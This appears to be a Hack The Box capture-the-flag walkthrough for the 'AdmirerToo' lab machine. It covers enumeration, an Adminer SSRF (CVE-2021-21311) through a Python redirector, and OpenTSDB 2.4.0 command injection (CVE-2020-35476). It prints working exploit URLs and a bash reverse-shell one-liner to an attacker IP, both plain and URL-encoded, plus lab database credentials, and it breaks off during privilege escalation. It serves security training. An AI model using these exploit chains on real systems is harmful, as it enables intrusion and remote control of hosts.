Hack-The-Box-walkthrough[admirertoo]

introduce

OS: Linux
Difficulty: Hard
Points: 40
Release: 15 Jan 2022
IP: 10.10.11.137

  • my htb rank

Enumeration

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# nmap -p- -sV -sC -v -oA enum_all --min-rate 4500 --max-rtt-timeout 1500ms 10.10.11.137
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 99:33:47:e6:5f:1f:2e:fd:45:a4:ee:6b:78:fb:c0:e4 (RSA)
| 256 4b:28:53:64:92:57:84:77:5f:8d:bf:af:d5:22:e1:10 (ECDSA)
|_ 256 71:ee:8e:e5:98:ab:08:43:3b:86:29:57:23:26:e9:10 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Admirer
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
4242/tcp filtered vrml-multi-use
16010/tcp filtered unknown
16030/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap reveals two open ports and three filtered ports. Most of the time we don’t see filtered ports on HTB boxes, but there is a possibility that we might have to use these ports for specific exploit. Based on SSH version information, it’s safe to assume that it is a Debian OS.

  • Filtered Port: Nmap cannot determine whether the port is open because packet filtering (firewall) prevents its probes from reaching the port. The filtering could be from a dedicated firewall device, router rules, or host-based firewall software. These ports frustrate attackers because they provide so little information. Sometimes they respond with ICMP error messages such as type 3 code 13 (destination unreachable: communication administratively prohibited), but filters that simply drop probes without responding are far more common. This forces Nmap to retry several times just in case the probe was dropped due to network congestion rather than filtering. This slows down the scan dramatically.

Let’s look in to the HTTP service.

There’s nothing much available on the webpage to begin with. Even after running Directory Brute Force on the page, there’s nothing interesting. However, if we hit any random page, which has 404 status code (not found). we will see generic error information.

If you check the source page of this 404, then we’d find a useful information.

1
2
3
4
5
6
7
8
9
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at <a href="mailto:webmaster@admirer-gallery.htb">10.10.11.137</a> Port 80</address>
</body></html>

As you can see, we have a domain name, which is quite different than usual. Most of the time the domain of any HTB box is the name of the machine, but this time we have a different one. Add this to hosts file. Let’s look for any vhost on this machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(root💀kali)-[~/ffuf]
└─# ./ffuf -u http://admirer-gallery.htb -H 'Host: FUZZ.admirer-gallery.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 4572

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.1.0-git
________________________________________________

:: Method : GET
:: URL : http://admirer-gallery.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.admirer-gallery.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response words: 4572
________________________________________________

db [Status: 200, Size: 2511, Words: 108, Lines: 63]
:: Progress: [4989/4989] :: Job [1/1] :: 166 req/sec :: Duration: [0:00:30] :: Errors: 0 ::

We got one available vhost. Let’s add that to hosts file and check the webpage.

1
10.10.11.137    admirer-gallery.htb db.admirer-gallery.htb
1
2
3
http://db.admirer-gallery.htb/

Adminer 4.7.8

We have access to database via web. Let’s enter and look for any interesting tables. just hit enter, and we are in…

The interesting part of this is, it didn’t ask for any ‘password’ to access after clicking ‘enter’ button. There’s only one table and nothing really interesting in that. The reason it didn’t ask for any credentials is, it has hard-coded them in this page and by-default it post them once we click on ‘enter’ button.

1
2
3
4
5
6
<input type="hidden" name="auth[driver]" value="server">
<input type="hidden" name="auth[server]" value="localhost">
<input type="hidden" name="auth[username]" value="admirer_ro">
<input type="hidden" name="auth[password]" value="1w4nn4b3adm1r3d2!">
<input type='hidden' name="auth[db]" value="admirer"/>
<input type='hidden' name="auth[permanent]" value="1"/>

I tried to use that password to login via SSH, but it didn’t work. But, ‘Adminer 4.7.8’ is being used for this service. There’s a vulnerability that exists on this version.

  • CVE-2021-21311

Server-Side Request Forgery is possible to access an internal server/service.

  • SSRF in adminer

There’s a POC already available for this. Look into the PDF for POC. We need to setup a redirector on our Kali Linux machine.

  • SSRF (Server Side Request Forgery)

We will use this below python code to do that.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
#python3 ./redirector.py 8000 http://127.0.0.1/
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

Execute the python script.

1
2
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# python3 ssrf_redirect.py 80 http://127.0.0.1

For this to work, we need to capture the request of logging into the DB in Burp Suite. Make sure not to send this to repeater.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /?server=localhost HTTP/1.1
Host: db.admirer-gallery.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://db.admirer-gallery.htb/?server=localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
Origin: http://db.admirer-gallery.htb
Connection: close
Cookie: adminer_sid=29gtagudqps5momjqjgbhh7rlj; adminer_key=4f375147fa14364db1dde412c5bac310; adminer_permanent=; adminer_version=0
Upgrade-Insecure-Requests: 1

auth%5Bdriver%5D=server&auth%5Bserver%5D=localhost&auth%5Busername%5D=admirer_ro&auth%5Bpassword%5D=1w4nn4b3adm1r3d2%21&auth%5Bdb%5D=admirer&auth%5Bpermanent%5D=1

This is a default request. If we change ‘Auth Server’ value from ‘localhost’ to our ‘Kali IP address’ and forward the request to server, then we’d get this error.

1
Connection refused

So, we need to edit ‘Auth Driver’ value and ‘Auth Server’ value. According to POC PDF, we need to modify auth drive value to ‘elasticsearch’ and auth server value as our attacking machine’s IP address (Kali Linux).

‘Adminer’ support multiple database connection, MongoDB, MySQL, MSSQL, ElasticSearch, PostgreSQL, SqlLite and Oracle.

After changing the both values, I couldn’t get a hit on our python script. Then I looked into the source of ‘Adminer’.

  • adminer/adminer/drivers/

All the driver names and it source is available in above link.

As you can see the source, the driver name is just ‘elastic’ not ‘elasticsearch’. This is the reason it didn’t work. Let’s change both values one more time.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /?elasticsearch=10.10.14.8&username=admirer_ro&db=admirer HTTP/1.1
Host: db.admirer-gallery.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://db.admirer-gallery.htb/?elasticsearch=10.10.14.8&username=admirer_ro&db=admirer
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
Origin: http://db.admirer-gallery.htb
Connection: close
Cookie: adminer_sid=cbd54v8p1cadk2ft514nvvkbql; adminer_key=4f375147fa14364db1dde412c5bac310; adminer_permanent=ZWxhc3RpY3NlYXJjaA%3D%3D-MTAuMTAuMTQuOA%3D%3D-YWRtaXJlcl9ybw%3D%3D-YWRtaXJlcg%3D%3D%3ALUuxevMNmJyUN51ewElaJA2hzN1Na%2BFY; adminer_version=0
Upgrade-Insecure-Requests: 1


auth%5Bdriver%5D=elastic&auth%5Bserver%5D=10.10.14.8&auth%5Busername%5D=admirer_ro&auth%5Bpassword%5D=1w4nn4b3adm1r3d2%21&auth%5Bdb%5D=admirer&auth%5Bpermanent%5D=1

After changing values, forward the request to server and check the python script.

1
2
3
4
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# python3 ssrf_redirect.py 80 http://127.0.0.1
10.10.11.137 - - [23/Jan/2022 04:44:11] "GET / HTTP/1.0" 302 -
10.10.11.137 - - [23/Jan/2022 04:44:11] "GET / HTTP/1.0" 302 -

As you can see, we got 302 (redirect) hits on python script. Now check the webpage.

We got the index.html source of target port 80. This simply means, we can access any locally running service. As we saw in our initial port scan that three ports are filtered. Let’s try to access them via SSRF. Setup redirector for any of the three filtered ports.

1
2
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# python3 ssrf_redirect.py 80 http://127.0.0.1:4242

Intercept the login request once again and check the webpage.

1
<!DOCTYPE html><html><head><meta http-equiv=content-type content="text/html;charset=utf-8"><title>OpenTSDB</title> <style><!-- body{font-family:arial,sans-serif;margin-left:2em}A.l:link{color:#6f6f6f}A.u:link{color:green}.fwf{font-family:monospace;white-space:pre-wrap}//--></style><script type=text/javascript language=javascript src=s/queryui.nocache.js></script></head> <body text=#000000 bgcolor=#ffffff><table border=0 cellpadding=2 cellspacing=0 width=100%><tr><td rowspan=3 width=1% nowrap><img src=s/opentsdb_header.jpg><td>&nbsp;</td></tr><tr><td><font color=#507e9b><b></b></td></tr><tr><td>&nbsp;</td></tr></table><div id=queryuimain></div><noscript>You must have JavaScript enabled.</noscript><iframe src=javascript:'' id=__gwt_historyFrame tabIndex=-1 style=position:absolute;width:0;height:0;border:0></iframe><table width=100% cellpadding=0 cellspacing=0><tr><td class=subg><img alt="" width=1 height=6></td></tr></table></body></html>

As you can see, we got the response and it reveals the title name as ‘OpenTSDB’.

OpenTSDB is a distributed, scalable Time Series Database (TSDB) written on top of HBase.

There four Vulnerabilities are present in OpenTSDB.

  • Opentsdb : Security Vulnerabilities

Two of them are Code Execution. But we need to find the right version information of running application. To get version information, we can use the below endpoint.

1
2
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# python3 ssrf_redirect.py 80 http://127.0.0.1:4242/api/version

After setting the redirector for the version endpoint, capture the login request and modify it a previously and forward it to server.

1
{"short_revision":"14ab3ef","repo":"/home/hobbes/OFFICIAL/build","host":"clhbase","version":"2.4.0","full_revision":"14ab3ef8a865816cf920aa69f2e019b7261a7847","repo_status":"MINT","user":"hobbes","branch":"master","timestamp":"1545014415"}

Alright, we got the version information. It is using 2.4.0 and RCE via command injection exists in this version.

  • CVE-2020-35476

The POC is already available for this vulnerability.

  • OpenTSDB 2.4.0 Remote Code Execution
1
http://opentsdbhost.local/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=%5B33:system(%27touch/tmp/poc.txt%27)%5D&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

he above is the demo link with payload which creates file in tmp directory. So we need to modify it according to our situation.

1
python3 ssrf_redirect.py 80 'http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=%5B33:system(%27ping+-c+4+10.10.14.8%27)%5D&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'

First we need to set the redirector via python script to exploit the vulnerability and I am injecting ping command to check the vulnerability. I will setup a tcpdump to log the incoming ICMP requests.

1
tcpdump -i tun0 icmp

Then we need to trigger the SSRF via web. Make sure to modify the values and forward the request to server.

1
2
3
{"err":"java.lang.RuntimeException: Unexpected exception\n\tat net.opentsdb.core.TSQuery.buildQueries(TSQuery.java:224) ~[tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.tsd.GraphHandler.doGraph(GraphHandler.java:172) ~[tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.tsd.GraphHandler.execute(GraphHandler.java:123) ~[tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.tsd.RpcHandler.handleHttpQuery(RpcHandler.java:282) [tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.tsd.RpcHandler.messageReceived(RpcHandler.java:133) [tsdb-2.4.0.jar:14ab3ef]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.timeout.IdleStateAwareChannelUpstreamHandler.handleUpstream(IdleStateAwareChannelUpstreamHandler.java:36) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.timeout.IdleStateHandler.messageReceived(IdleStateHandler.java:294) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.http.HttpContentEncoder.messageReceived(HttpContentEncoder.java:82) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelHandler.handleUpstream(SimpleChannelHandler.java:88) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.http.HttpContentDecoder.messageReceived(HttpContentDecoder.java:108) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.http.HttpChunkAggregator.messageReceived(HttpChunkAggregator.java:145) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:296) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.frame.FrameDecoder.unfoldAndFireMessageReceived(FrameDecoder.java:459) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.replay.ReplayingDecoder.callDecode(ReplayingDecoder.java:536) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.replay.ReplayingDecoder.messageReceived(ReplayingDecoder.java:435) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:296) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.frame.FrameDecoder.unfoldAndFireMessageReceived(FrameDecoder.java:462) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.frame.FrameDecoder.callDecode(FrameDecoder.java:443) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.frame.FrameDecoder.messageReceived(FrameDecoder.java:303) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelHandler.messageReceived(SimpleChannelHandler.java:142) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelHandler.handleUpstream(SimpleChannelHandler.java:88) [netty-3.10.6.Final.jar:na]\n\tat net.opentsdb.tsd.ConnectionManager.handleUpstream(ConnectionManager.java:128) [tsdb-2.4.0.jar:14ab3ef]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:559) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:268) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:255) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.socket.nio.NioWorker.read(NioWorker.java:88) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.socket.nio.AbstractNioWorker.process(AbstractNioWorker.java:108) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.socket.nio.AbstractNioSelector.run(AbstractNioSelector.java:337) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.socket.nio.AbstractNioWorker.run(AbstractNioWorker.java:89) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.socket.nio.NioWorker.run(NioWorker.java:178) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.util.ThreadRenamingRunnable.run(ThreadRenamingRunnable.java:108) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.util.internal.DeadLockProofWorker$1.run(DeadLockProofWorker.java:42) [netty-3.10.6.Final.jar:na]\n\tat java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) [na:1.8.0_292]\n\tat java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) [na:1.8.0_292]\n\tat java.lang.Thread.run(Thread.java:748) [na:1.8.0_292]\nCaused by: com.stumbleupon.async.DeferredGroupException: At least one of the Deferreds failed, first exception:\n\tat com.stumbleupon.async.DeferredGroup.done(DeferredGroup.java:169) ~[async-1.4.0.jar:na]\n\tat com.stumbleupon.async.DeferredGroup.recordCompletion(DeferredGroup.java:142) ~[async-1.4.0.jar:na]\n\tat com.stumbleupon.async.DeferredGroup.access$000(DeferredGroup.java:36) ~[async-1.4.0.jar:na]\n\tat com.stumbleupon.async.DeferredGroup$1Notify.call(DeferredGroup.java:82) ~[async-1.4.0.jar:na]\n\tat com.stumbleupon.async.Deferred.doCall(Deferred.java:1278) ~[async-1.4.0.jar:na]\n\tat com.stumbleupon.async.Deferred.runCallbacks(Deferred.java:1257) ~[async-1.4.0.jar:na]\n\tat com.stumbleupon.async.Deferred.callback(Deferred.java:1005) ~[async-1.4.0.jar:na]\n\tat org.hbase.async.HBaseRpc.callback(HBaseRpc.java:720) ~[asynchbase-1.8.2.jar:na]\n\tat org.hbase.async.RegionClient.decode(RegionClient.java:1575) ~[asynchbase-1.8.2.jar:na]\n\tat org.hbase.async.RegionClient.decode(RegionClient.java:88) ~[asynchbase-1.8.2.jar:na]\n\tat org.jboss.netty.handler.codec.replay.ReplayingDecoder.callDecode(ReplayingDecoder.java:500) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.codec.replay.ReplayingDecoder.messageReceived(ReplayingDecoder.java:435) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.hbase.async.RegionClient.handleUpstream(RegionClient.java:1230) ~[asynchbase-1.8.2.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelHandler.messageReceived(SimpleChannelHandler.java:142) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelHandler.handleUpstream(SimpleChannelHandler.java:88) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.timeout.IdleStateAwareChannelHandler.handleUpstream(IdleStateAwareChannelHandler.java:36) ~[netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.handler.timeout.IdleStateHandler.messageReceived(IdleStateHandler.java:294) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]\n\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:559) [netty-3.10.6.Final.jar:na]\n\tat org.hbase.async.HBaseClient$RegionClientPipeline.sendUpstream(HBaseClient.java:3857) ~[asynchbase-1.8.2.jar:na]\n\t... 12 common frames omitted\nCaused by: net.opentsdb.uid.NoSuchUniqueName: No such name for 'metrics': 'sys.cpu.nice'\n\tat net.opentsdb.uid.UniqueId$1GetIdCB.call(UniqueId.java:450) ~[tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.uid.UniqueId$1GetIdCB.call(UniqueId.java:447) ~[tsdb-2.4.0.jar:14ab3ef]\n\t... 34 common frames omitted\n"}
......
No such name for 'metrics': 'sys.cpu.nice'\n\tat net.opentsdb.uid.UniqueId$1GetIdCB.call(UniqueId.java:450) ~[tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.uid.UniqueId$1GetIdCB.call(UniqueId.java:447) ~[tsdb-2.4.0.jar:14ab3ef]\n\t... 34 common frames omitted\n"}

After forwarding the request, we’d get this error page. The important part of this is mentioned at the end of the error.

The error is triggered because the ‘metrics’ which we used (sys.cpu.nice) is not available, so it couldn’t able to complete the code execution. So, we need to find the available ‘metrics’ on the application.

  • OpenTSDB 2.4 documentation » HTTP API » /api/suggest

To find available metrics we have to use below endpoint.

1
python3 ssrf_redirect.py 80 'http://127.0.0.1:4242/api/suggest?type=metrics'

Then we need to trigger the SSRF via web. Make sure to modify the values and forward the request to server.

1
["http.stats.web.hits"]

As you can see, there’s is only one metrics available in the application. Let’s modify our redirect link accordingly.

Now we need to trigger the SSRF via web. Make sure to modify the values and forward the request to server. Then check the tcpdump output for ICMP reply.

1
2
3
4
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# python3 ssrf_redirect.py 80 'http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=%5B33:system(%27ping+-c+4+10.10.14.8%27)%5D&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'
10.10.11.137 - - [23/Jan/2022 05:23:01] "GET / HTTP/1.0" 302 -
10.10.11.137 - - [23/Jan/2022 05:23:05] "GET / HTTP/1.0" 302 -
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
05:23:02.294554 IP admirer-gallery.htb > 10.10.14.8: ICMP echo request, id 1835, seq 1, length 64
05:23:02.294586 IP 10.10.14.8 > admirer-gallery.htb: ICMP echo reply, id 1835, seq 1, length 64
05:23:03.267590 IP admirer-gallery.htb > 10.10.14.8: ICMP echo request, id 1835, seq 2, length 64
05:23:03.267611 IP 10.10.14.8 > admirer-gallery.htb: ICMP echo reply, id 1835, seq 2, length 64
05:23:04.246377 IP admirer-gallery.htb > 10.10.14.8: ICMP echo request, id 1835, seq 3, length 64
05:23:04.246401 IP 10.10.14.8 > admirer-gallery.htb: ICMP echo reply, id 1835, seq 3, length 64
05:23:05.232024 IP admirer-gallery.htb > 10.10.14.8: ICMP echo request, id 1835, seq 4, length 64
05:23:05.232051 IP 10.10.14.8 > admirer-gallery.htb: ICMP echo reply, id 1835, seq 4, length 64

We got the response back, we have a working RCE chained with SSRF. Now it’s time to gain a shell. Make sure to URL encode your reverse shell one-liner, something like below.

1
/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.8/9001 0>&1"

url encoded:

1
%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%22%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%38%2f%39%30%30%31%20%30%3e%26%31%22

Setup the redirector one more time and execute the SSRF via login by modifying values, then check the netcat listener.

1
2
3
4
5
6
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# python3 ssrf_redirect.py 80 'http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=%5B33:system(%27%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%22%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%38%2f%39%30%30%31%20%30%3e%26%31%22%27)%5D&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'
10.10.11.137 - - [23/Jan/2022 05:33:28] "GET / HTTP/1.0" 302 -
10.10.11.137 - - [23/Jan/2022 05:33:28] "GET / HTTP/1.0" 302 -
10.10.11.137 - - [23/Jan/2022 05:34:27] "GET / HTTP/1.0" 302 -
10.10.11.137 - - [23/Jan/2022 05:35:28] "GET / HTTP/1.0" 302 -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# nc -lvp 9001
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.137.
Ncat: Connection from 10.10.11.137:42416.
bash: cannot set terminal process group (535): Inappropriate ioctl for device
bash: no job control in this shell
opentsdb@admirertoo:/$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
opentsdb@admirertoo:/$ ^Z
[1]+ Stopped nc -lvp 9001

┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# stty raw -echo

┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
nc -lvp 9001
reset
reset: unknown terminal type unknown
Terminal type? screen
opentsdb@admirertoo:/$ id
uid=1000(opentsdb) gid=1000(opentsdb) groups=1000(opentsdb)
opentsdb@admirertoo:/$ whoami
opentsdb

Privilege Escalation - User

1
2
3
4
5
opentsdb@admirertoo:/home/jennifer$ cat user.txt 
cat: user.txt: Permission denied
opentsdb@admirertoo:/home/jennifer$ grep 'bash' /etc/passwd
root:x:0:0:root:/root:/bin/bash
jennifer:x:1002:100::/home/jennifer:/bin/bash

We need to escalate our privileges to ‘Jennifer’ user. After running ‘Linpeas’ application, we will get database credentials.

1
2
3
4
5
╔══════════╣ Searching passwords in config PHP files
define('DATABASE_HOST', 'localhost');
define('DATABASE_NAME', 'cats_dev');
define('DATABASE_PASS', 'adm1r3r0fc4ts');
define('DATABASE_USER', 'cats');

This is not from OpenTSDB configuration file. But, from ‘OpenCats’ application directory.

1
2
3
4
5
6
7
8
9
10
11
